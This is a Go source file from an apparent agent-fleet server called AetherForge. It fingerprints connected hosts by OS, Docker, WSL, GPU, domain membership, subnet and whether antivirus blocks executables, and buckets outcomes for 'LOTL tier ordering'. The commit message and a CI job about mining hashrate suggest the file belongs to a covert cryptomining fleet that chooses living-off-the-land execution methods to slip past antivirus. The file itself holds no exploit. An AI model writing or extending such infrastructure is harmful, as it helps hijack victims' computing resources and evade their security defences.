Files
AetherForge/server/internal/strategy/fingerprint.go
AetherForge 85376eac7c
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add fleet adaptive strategy engine for proactive LOTL tier ordering
2026-06-07 01:15:18 -07:00

120 lines
2.6 KiB
Go

package strategy
import (
"net"
"strings"
)
// HostFingerprint captures host signals that drive fleet-wide tier scoring.
type HostFingerprint struct {
GOOS string `json:"goos"`
Docker bool `json:"docker"`
WSL bool `json:"wsl"`
GPU bool `json:"gpu"`
AVBlocks bool `json:"av_blocks"`
DomainJoined bool `json:"domain_joined"`
Subnet string `json:"subnet"`
}
// Key returns a stable bucket id for fleet outcome aggregation.
func (f HostFingerprint) Key() string {
goos := strings.ToLower(strings.TrimSpace(f.GOOS))
if goos == "" {
goos = "unknown"
}
subnet := strings.TrimSpace(f.Subnet)
if subnet == "" {
subnet = "unknown"
}
return strings.Join([]string{
goos,
boolToken(f.Docker),
boolToken(f.WSL),
boolToken(f.GPU),
boolToken(f.AVBlocks),
boolToken(f.DomainJoined),
subnet,
}, "|")
}
func boolToken(v bool) string {
if v {
return "1"
}
return "0"
}
// FingerprintFromAuth builds an initial fingerprint from agent auth + connection IP.
func FingerprintFromAuth(platform, ip string, domainJoined bool) HostFingerprint {
return HostFingerprint{
GOOS: normalizeGOOS(platform),
DomainJoined: domainJoined,
Subnet: subnetFromIP(ip),
}
}
// FingerprintFromStats merges live telemetry probes into a fingerprint.
func FingerprintFromStats(base HostFingerprint, probes map[string]bool, domainJoined *bool) HostFingerprint {
out := base
if probes != nil {
if v, ok := probes["docker"]; ok {
out.Docker = v
}
if v, ok := probes["wsl"]; ok {
out.WSL = v
}
if v, ok := probes["gpu"]; ok {
out.GPU = v
}
if v, ok := probes["av_blocks_exe"]; ok {
out.AVBlocks = v
}
}
if domainJoined != nil {
out.DomainJoined = *domainJoined
}
return out
}
func normalizeGOOS(platform string) string {
p := strings.ToLower(strings.TrimSpace(platform))
switch {
case strings.Contains(p, "win"):
return "windows"
case strings.Contains(p, "linux"):
return "linux"
case strings.Contains(p, "darwin"), strings.Contains(p, "mac"):
return "darwin"
default:
return p
}
}
func subnetFromIP(ip string) string {
ip = strings.TrimSpace(ip)
if ip == "" {
return ""
}
host := ip
if h, _, err := net.SplitHostPort(ip); err == nil {
host = h
}
parsed := net.ParseIP(host)
if parsed == nil {
return ""
}
if v4 := parsed.To4(); v4 != nil {
parts := strings.Split(host, ".")
if len(parts) >= 3 {
return strings.Join(parts[:3], ".")
}
}
if strings.Contains(host, ":") {
parts := strings.Split(host, ":")
if len(parts) >= 3 {
return strings.Join(parts[:3], ":")
}
}
return host
}